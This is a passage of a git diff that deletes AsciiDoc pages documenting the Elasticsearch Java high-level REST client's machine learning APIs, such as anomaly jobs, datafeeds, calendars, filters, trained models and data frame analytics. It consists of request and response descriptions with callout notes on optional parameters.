-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The count of snapshots that were matched.
-<2> The snapshots retrieved.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ml/get-overall-buckets.asciidoc b/docs/java-rest/high-level/ml/get-overall-buckets.asciidoc
deleted file mode 100644
index 4fd7b806345..00000000000
--- a/docs/java-rest/high-level/ml/get-overall-buckets.asciidoc
+++ /dev/null
@@ -1,82 +0,0 @@
---
-:api: get-overall-buckets
-:request: GetOverallBucketsRequest
-:response: GetOverallBucketsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get overall buckets API
-
-Retrieves overall bucket results that summarize the bucket results of multiple
-{anomaly-jobs}.
-It accepts a +{request}+ object and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Get overall buckets request
-
-A +{request}+ object gets created with one or more `jobId`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing job IDs `jobId1` and `jobId2`.
-
-==== Optional arguments
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-bucket-span]
---------------------------------------------------
-<1> The span of the overall buckets. Must be greater or equal to the jobs'
-largest `bucket_span`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-end]
---------------------------------------------------
-<1> Overall buckets with timestamps earlier than this time will be returned.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-exclude-interim]
---------------------------------------------------
-<1> If `true`, interim results will be excluded. Overall buckets are interim if
-any of the job buckets within the overall bucket interval are interim. Defaults
-to `false`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-overall-score]
---------------------------------------------------
-<1> Overall buckets with overall scores greater or equal than this value will be
-returned.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-start]
---------------------------------------------------
-<1> Overall buckets with timestamps on or after this time will be returned.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-top-n]
---------------------------------------------------
-<1> The number of top job bucket scores to be used in the `overall_score`
-calculation. Defaults to `1`.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get overall buckets response
-
-The returned +{response}+ contains the requested buckets:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The count of overall buckets that were matched.
-<2> The overall buckets retrieved.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ml/get-records.asciidoc b/docs/java-rest/high-level/ml/get-records.asciidoc
deleted file mode 100644
index cd71345b2ca..00000000000
--- a/docs/java-rest/high-level/ml/get-records.asciidoc
+++ /dev/null
@@ -1,83 +0,0 @@
---
-:api: get-records 
-:request: GetRecordsRequest
-:response: GetRecordsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get records API
-
-Retrieves one or more record results.
-It accepts a +{request}+ object and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Get records request
-
-A +{request}+ object gets created with an existing non-null `jobId`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing an existing `jobId`.
-
-==== Optional arguments
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-desc]
---------------------------------------------------
-<1> If `true`, the records are sorted in descending order. Defaults to `false`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-end]
---------------------------------------------------
-<1> Records with timestamps earlier than this time will be returned.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-exclude-interim]
---------------------------------------------------
-<1> If `true`, interim results will be excluded. Defaults to `false`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-page]
---------------------------------------------------
-<1> The page parameters `from` and `size`. `from` specifies the number of
-records to skip. `size` specifies the maximum number of records to get. Defaults
-to `0` and `100` respectively.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-record-score]
---------------------------------------------------
-<1> Records with record_score greater or equal than this value will be returned.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-sort]
---------------------------------------------------
-<1> The field to sort records on. Defaults to `record_score`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-start]
---------------------------------------------------
-<1> Records with timestamps on or after this time will be returned.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get records response
-
-The returned +{response}+ contains the requested records:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The count of records that were matched.
-<2> The records retrieved.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ml/get-trained-models-stats.asciidoc b/docs/java-rest/high-level/ml/get-trained-models-stats.asciidoc
deleted file mode 100644
index 532c3942f0d..00000000000
--- a/docs/java-rest/high-level/ml/get-trained-models-stats.asciidoc
+++ /dev/null
@@ -1,42 +0,0 @@
---
-:api: get-trained-models-stats
-:request: GetTrainedModelsStatsRequest
-:response: GetTrainedModelsStatsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get trained models stats API
-
-experimental::[]
-
-Retrieves one or more trained model statistics.
-The API accepts a +{request}+ object and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Get trained models stats request
-
-A +{request}+ requires either a trained model ID, a comma-separated list of
-IDs, or the special wildcard `_all` to get stats for all trained models.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new GET request referencing an existing Trained Model
-<2> Set the paging parameters
-<3> Allow empty response if no trained models match the provided ID patterns.
-    If false, an error will be thrown if no trained models match the
-    ID patterns.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the statistics
-for the requested trained model.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/ml/get-trained-models.asciidoc b/docs/java-rest/high-level/ml/get-trained-models.asciidoc
deleted file mode 100644
index 5af74d2c256..00000000000
--- a/docs/java-rest/high-level/ml/get-trained-models.asciidoc
+++ /dev/null
@@ -1,53 +0,0 @@
---
-:api: get-trained-models
-:request: GetTrainedModelsRequest
-:response: GetTrainedModelsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get trained models API
-
-experimental::[]
-
-Retrieves one or more trained models.
-The API accepts a +{request}+ object and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Get trained models request
-
-A +{request}+ requires either a trained model ID, a comma-separated list of
-IDs, or the special wildcard `_all` to get all trained models.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new GET request referencing an existing trained model.
-<2> Set the paging parameters.
-<3> Indicate if the complete model definition should be included.
-<4> Indicate if the total feature importance for the features used in training
-    should is included in the metadata.
-<5> Indicate if the feature importance baselines that were used in training are
-    included in the metadata.
-<6> Should the definition be fully decompressed on GET.
-<7> Allow empty response if no trained models match the provided ID patterns.
-    If false, an error will be thrown if no trained models match the
-    ID patterns.
-<8> An optional list of tags used to narrow the model search. A trained model
-    can have many tags or none. The trained models in the response will
-    contain all the provided tags.
-<9> Optional boolean value for requesting the trained model in a format that can
-    then be put into another cluster. Certain fields that can only be set when
-    the model is imported are removed.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the requested trained model.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/ml/open-job.asciidoc b/docs/java-rest/high-level/ml/open-job.asciidoc
deleted file mode 100644
index d88933b4f8f..00000000000
--- a/docs/java-rest/high-level/ml/open-job.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
---
-:api: open-job
-:request: OpenJobRequest
-:response: OpenJobResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Open {anomaly-jobs} API
-
-Opens {anomaly-jobs} in the cluster. It accepts a +{request}+ object and
-responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Open {anomaly-jobs} request
-
-An +{request}+ object gets created with an existing non-null `jobId`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing an existing `jobId`
-<2> Optionally setting the `timeout` value for how long the
-execution should wait for the job to be opened.
-
-[id="{upid}-{api}-response"]
-==== Open {anomaly-jobs} response
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `isOpened()` from the +{response}+ is always `true` if the job was
-opened successfully. (An exception would be thrown instead if the job
-was not opened successfully.)
-<2> `getNode()` returns the node that the job was assigned to. If the
-job is allowed to open lazily and has not yet been assigned to a node
-then an empty string is returned. If `getNode()` returns `null` then
-the server is an old version that does not return node information.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/post-calendar-event.asciidoc b/docs/java-rest/high-level/ml/post-calendar-event.asciidoc
deleted file mode 100644
index 5baf762362b..00000000000
--- a/docs/java-rest/high-level/ml/post-calendar-event.asciidoc
+++ /dev/null
@@ -1,40 +0,0 @@
---
-:api: post-calendar-event
-:request: PostCalendarEventRequest
-:response: PostCalendarEventResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Post calendar events API
-
-Adds new ScheduledEvents to an existing {ml} calendar.
-
-The API accepts a +{request}+ and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Post calendar events request
-
-A +{request}+ is constructed with a calendar ID object
-and a non-empty list of scheduled events.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Non-null existing calendar ID
-<2> Non-null, non-empty collection of `ScheduledEvent` objects
-
-
-[id="{upid}-{api}-response"]
-==== Post calendar events response
-
-The returned +{response}+ contains the added `ScheduledEvent` objects:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The `ScheduledEvent` objects that were added to the calendar
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/post-data.asciidoc b/docs/java-rest/high-level/ml/post-data.asciidoc
deleted file mode 100644
index 84e0200724f..00000000000
--- a/docs/java-rest/high-level/ml/post-data.asciidoc
+++ /dev/null
@@ -1,59 +0,0 @@
---
-:api: post-data
-:request: PostDataRequest
-:response: PostDataResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Post data API
-
-Posts data to an open {ml} job in the cluster.
-It accepts a +{request}+ object and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Post data request
-
-A +{request}+ object gets created with an existing non-null `jobId`
-and the `XContentType` being sent. Individual docs can be added
-incrementally via the `PostDataRequest.JsonBuilder#addDoc` method.
-These are then serialized and sent in bulk when passed to the +{request}+.
-
-Alternatively, the serialized bulk content can be set manually, along with its `XContentType`
-through one of the other +{request}+ constructors.
-
-Only `XContentType.JSON` and `XContentType.SMILE` are supported.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Create a new `PostDataRequest.JsonBuilder` object for incrementally adding documents
-<2> Add a new document as a `Map<String, Object>` object
-<3> Add a new document as a serialized JSON formatted String.
-<4> Constructing a new request referencing an opened `jobId`, and a JsonBuilder
-
-==== Optional arguments
-
-The following arguments are optional.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-options]
---------------------------------------------------
-<1> Set the start of the bucket resetting time
-<2> Set the end of the bucket resetting time
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Post data response
-
-A +{response}+ contains current data processing statistics.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `getDataCounts()` a `DataCounts` object containing the current
-data processing counts.
diff --git a/docs/java-rest/high-level/ml/preview-datafeed.asciidoc b/docs/java-rest/high-level/ml/preview-datafeed.asciidoc
deleted file mode 100644
index 657c9f899fa..00000000000
--- a/docs/java-rest/high-level/ml/preview-datafeed.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
---
-:api: preview-datafeed
-:request: PreviewDatafeedRequest
-:response: PreviewDatafeedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Preview datafeeds API
-
-Previews a {ml} datafeed's data in the cluster. It accepts a +{request}+ object
-and responds with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Preview datafeeds request
-
-A +{request}+ object is created referencing a non-null `datafeedId`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Constructing a new request referencing an existing `datafeedId`
-
-[id="{upid}-{api}-response"]
-==== Preview datafeeds response
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The raw +BytesReference+ of the data preview
-<2> A +List<Map<String,Object>>+ that represents the previewed data
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/put-calendar-job.asciidoc b/docs/java-rest/high-level/ml/put-calendar-job.asciidoc
deleted file mode 100644
index d13a4c59785..00000000000
--- a/docs/java-rest/high-level/ml/put-calendar-job.asciidoc
+++ /dev/null
@@ -1,38 +0,0 @@
---
-:api: put-calendar-job
-:request: PutCalendarJobRequest
-:response: PutCalendarResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Put {anomaly-jobs} in calendar API
-
-Adds {anomaly-jobs} jobs to an existing {ml} calendar.
-The API accepts a +{request}+ and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Put {anomaly-jobs} in calendar request
-
-A +{request}+ is constructed referencing a non-null
-calendar ID, and JobIDs to which to add to the calendar
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The ID of the calendar to which to add the jobs
-<2> The JobIds to add to the calendar
-
-[id="{upid}-{api}-response"]
-==== Put {anomaly-jobs} in calendar response
-
-The returned +{response}+ contains the updated calendar:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The updated calendar
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/put-calendar.asciidoc b/docs/java-rest/high-level/ml/put-calendar.asciidoc
deleted file mode 100644
index f37192ab634..00000000000
--- a/docs/java-rest/high-level/ml/put-calendar.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
---
-:api: put-calendar
-:request: PutCalendarRequest
-:response: PutCalendarResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Put calendars API
-
-Creates a new {ml} calendar.
-The API accepts a +{request}+ and responds
-with a +{response}+ object.
-
-[id="{upid}-{api}-request"]
-==== Put calendars request
-
-A +{request}+ is constructed with a calendar object
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Create a request with the given calendar.
-
-
-[id="{upid}-{api}-response"]
-==== Put calendars response
-
-The returned +{response}+ contains the created calendar:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The created calendar.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/ml/put-data-frame-analytics.asciidoc b/docs/java-rest/high-level/ml/put-data-frame-analytics.asciidoc
deleted file mode 100644
index db54d545866..00000000000
--- a/docs/java-rest/high-level/ml/put-data-frame-analytics.asciidoc
+++ /dev/null
@@ -1,175 +0,0 @@
---
-:api: put-data-frame-analytics
-:request: PutDataFrameAnalyticsRequest
-:response: PutDataFrameAnalyticsResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Put {dfanalytics-jobs} API
-
-experimental::[]
-
-Creates a new {dfanalytics-job}.
-The API accepts a +{request}+ object as a request and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Put {dfanalytics-jobs} request
-
-A +{request}+ requires the following argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The configuration of the {dfanalytics-job} to create
-
-[id="{upid}-{api}-config"]
-==== {dfanalytics-cap} configuration
-
-The `DataFrameAnalyticsConfig` object contains all the details about the {dfanalytics-job}
-configuration and contains the following arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config]
---------------------------------------------------
-<1> The {dfanalytics-job} ID
-<2> The source index and query from which to gather data
-<3> The destination index
-<4> The analysis to be performed
-<5> The fields to be included in / excluded from the analysis
-<6> The memory limit for the model created as part of the analysis process
-<7> Optionally, a human-readable description
-<8> The maximum number of threads to be used by the analysis. Defaults to 1.
-
-[id="{upid}-{api}-query-config"]
-
-==== SourceConfig
-
-The index and the query from which to collect data.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-source-config]
---------------------------------------------------
-<1> Constructing a new DataFrameAnalyticsSource
-<2> The source index
-<3> The query from which to gather the data. If query is not set, a `match_all` query is used by default.
-<4> Source filtering to select which fields will exist in the destination index.
-
-===== QueryConfig
-
-The query with which to select data from the source.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-query-config]
---------------------------------------------------
-
-==== DestinationConfig
-
-The index to which data should be written by the {dfanalytics-job}.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-dest-config]
---------------------------------------------------
-<1> Constructing a new DataFrameAnalyticsDest
-<2> The destination index
-
-==== Analysis
-
-The analysis to be performed.
-Currently, the supported analyses include: +OutlierDetection+, +Classification+, +Regression+.
-
-===== Outlier detection
-
-+OutlierDetection+ analysis can be created in one of two ways:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-outlier-detection-default]
---------------------------------------------------
-<1> Constructing a new OutlierDetection object with default strategy to determine outliers
-
-or
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-outlier-detection-customized]
---------------------------------------------------
-<1> Constructing a new OutlierDetection object
-<2> The method used to perform the analysis
-<3> Number of neighbors taken into account during analysis
-<4> The min `outlier_score` required to compute feature influence
-<5> Whether to compute feature influence
-<6> The proportion of the data set that is assumed to be outlying prior to outlier detection
-<7> Whether to apply standardization to feature values
-
-===== Classification
-
-+Classification+ analysis requires to set which is the +dependent_variable+ and
-has a number of other optional parameters:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-classification]
---------------------------------------------------
-<1> Constructing a new Classification builder object with the required dependent variable
-<2> The lambda regularization parameter. A non-negative double.
-<3> The gamma regularization parameter. A non-negative double.
-<4> The applied shrinkage. A double in [0.001, 1].
-<5> The maximum number of trees the forest is allowed to contain. An integer in [1, 2000].
-<6> The fraction of features which will be used when selecting a random bag for each candidate split. A double in (0, 1].
-<7> If set, feature importance for the top most important features will be computed.
-<8> The name of the prediction field in the results object.
-<9> The percentage of training-eligible rows to be used in training. Defaults to 100%.
-<10> The seed to be used by the random generator that picks which rows are used in training.
-<11> The optimization objective to target when assigning class labels. Defaults to maximize_minimum_recall.
-<12> The number of top classes (or -1 which denotes all classes) to be reported in the results. Defaults to 2.
-<13> Custom feature processors that will create new features for analysis from the included document
-     fields. Note, automatic categorical {ml-docs}/ml-feature-encoding.html[feature encoding] still occurs for all features.
-
-===== Regression
-
-+Regression+ analysis requires to set which is the +dependent_variable+ and
-has a number of other optional parameters:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-regression]
---------------------------------------------------
-<1> Constructing a new Regression builder object with the required dependent variable
-<2> The lambda regularization parameter. A non-negative double.
-<3> The gamma regularization parameter. A non-negative double.
-<4> The applied shrinkage. A double in [0.001, 1].
-<5> The maximum number of trees the forest is allowed to contain. An integer in [1, 2000].
-<6> The fraction of features which will be used when selecting a random bag for each candidate split. A double in (0, 1].
-<7> If set, feature importance for the top most important features will be computed.
-<8> The name of the prediction field in the results object.
-<9> The percentage of training-eligible rows to be used in training. Defaults to 100%.
-<10> The seed to be used by the random generator that picks which rows are used in training.
-<11> The loss function used for regression. Defaults to `mse`.
-<12> An optional parameter to the loss function.
-<13> Custom feature processors that will create new features for analysis from the included document
-fields. Note, automatic categorical {ml-docs}/ml-feature-encoding.html[feature encoding] still occurs for all features.
-
-==== Analyzed fields
-
-FetchContext object containing fields to be included in / excluded from the analysis
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-analyzed-fields]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains the newly created {dfanalytics-job}.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/ml/put-datafeed.asciidoc b/docs/java-rest/high-level/ml/put-datafeed.asciidoc
deleted file mode 100644
index e2738a555a0..00000000000
--- a/docs/java-rest/high-level/ml/put-datafeed.asciidoc
+++ /dev/null
@@ -1,106 +0,0 @@
---
-:api: put-datafeed
-:request: PutDatafeedRequest
-:response: PutDatafeedResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Put datafeeds API
-
-Creates a new {ml} datafeed in the cluster. The API accepts a +{request}+ object
-as a request and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Put datafeeds request
-
-A +{request}+ requires the following argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The configuration of the {ml} datafeed to create.
-
-[id="{upid}-{api}-config"]
-==== Datafeed configuration
-
-The `DatafeedConfig` object contains all the details about the {ml} datafeed
-configuration.
-
-A `DatafeedConfig` requires the following arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config]
---------------------------------------------------
-<1> The datafeed ID and the {anomaly-job} ID.
-<2> The indices that contain the data to retrieve and feed into the {anomaly-job}.
-
-==== Optional arguments
-The following arguments are optional:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config-set-chunking-config]
---------------------------------------------------
-<1> Specifies how data searches are split into time chunks.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config-set-frequency]
---------------------------------------------------
-<1> The interval at which scheduled queries are made while the datafeed runs in
-real time.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config-set-query]
---------------------------------------------------
-<1> A query to filter the search results by. Defaults to the `match_all` query.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config-set-query-delay]
---------------------------------------------------
-<1> The time interval behind real time that data is queried.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config-set-delayed-data-check-config]
---------------------------------------------------
-<1> Sets the delayed data check configuration.
-The window must be larger than the Job's bucket size, but smaller than 24 hours,
-and span less than 10,000 buckets.
-Defaults to `null`, which causes an appropriate window span to be calculated when
-the datafeed runs.
-The default `check_window` span calculation is the max between `2h` or
-`8 * bucket_span`. To explicitly disable, pass
-`DelayedDataCheckConfig.disabledDelayedDataCheckConfig()`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config-set-script-fields]
---------------------------------------------------
-<1> Allows the use of script fields.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config-set-scroll-size]
---------------------------------------------------
-<1> The `size` parameter used in the searches.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ returns the full representation of
-the new {ml} datafeed if it has been successfully created. This will
-contain the creation time and other fields initialized using
-default values:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The created datafeed.
diff --git a/docs/java-rest/high-level/ml/put-filter.asciidoc b/docs/java-rest/high-level/ml/put-filter.asciidoc
deleted file mode 100644
index f6de5e07011..00000000000
--- a/docs/java-rest/high-level/ml/put-filter.asciidoc
+++ /dev/null
@@ -1,53 +0,0 @@
---
-:api: put-filter
-:request: PutFilterRequest
-:response: PutFilterResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Put filters API
-
-Creates a new {ml} filter in the cluster. The API accepts a +{request}+ object
-as a request and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Put filters request
-
-A +{request}+ requires the following argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The configuration of the {ml} filter to create as a `MlFilter`
-
-[id="{upid}-{api}-config"]
-==== Filter configuration
-
-The `MlFilter` object contains all the details about the {ml} filter
-configuration.
-
-A `MlFilter` contains the following arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config]
---------------------------------------------------
-<1> Required, the filter ID
-<2> Optional, the filter description
-<3> Optional, the items of the filter. A wildcard * can be used at the beginning or the end of an item.
-Up to 10000 items are allowed in each filter.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ returns the full representation of
-the new {ml} filter if it has been successfully created.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The newly created `MlFilter`
diff --git a/docs/java-rest/high-level/ml/put-job.asciidoc b/docs/java-rest/high-level/ml/put-job.asciidoc
deleted file mode 100644
index add7fcdc6e5..00000000000
--- a/docs/java-rest/high-level/ml/put-job.asciidoc
+++ /dev/null
@@ -1,129 +0,0 @@
---
-:api: put-job
-:request: PutJobRequest
-:response: PutJobResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Put {anomaly-jobs} API
-
-Creates a new {anomaly-job} in the cluster. The API accepts a +{request}+ object
-as a request and returns a +{response}+.
-
-[id="{upid}-{api}-request"]
-==== Put {anomaly-jobs} request
-
-A +{request}+ requires the following argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The configuration of the {anomaly-job} to create as a `Job`
-
-[id="{upid}-{api}-config"]
-==== Job configuration
-
-The `Job` object contains all the details about the {anomaly-job}
-configuration.
-
-A `Job` requires the following arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-config]
---------------------------------------------------
-<1> The job ID
-<2> An analysis configuration
-<3> A data description
-<4> Optionally, a human-readable description
-
-[id="{upid}-{api}-analysis-config"]
-==== Analysis configuration
-
-The analysis configuration of the {anomaly-job} is defined in the `AnalysisConfig`.
-`AnalysisConfig` reflects all the configuration
-settings that can be defined using the REST API.
-
-Using the REST API, we could define this analysis configuration:
-
-[source,js]
---------------------------------------------------
-"analysis_config" : {
-  "bucket_span" : "10m",
-  "detectors" : [
-    {
-      "detector_description" : "Sum of total",
-      "function" : "sum",
-      "field_name" : "total"
-    }
-  ]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Using the `AnalysisConfig` object and the high level REST client, the list
-of detectors must be built first.
-
-An example of building a `Detector` instance is as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-detector]
---------------------------------------------------
-<1> The function to use
-<2> The field to apply the function to
-<3> Optionally, a human-readable description
-
-Then the same configuration would be:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-analysis-config]
---------------------------------------------------
-<1> Create a list of detectors
-<2> Pass the list of detectors to the analysis config builder constructor
-<3> The bucket span
-
-[id="{upid}-{api}-data-description"]
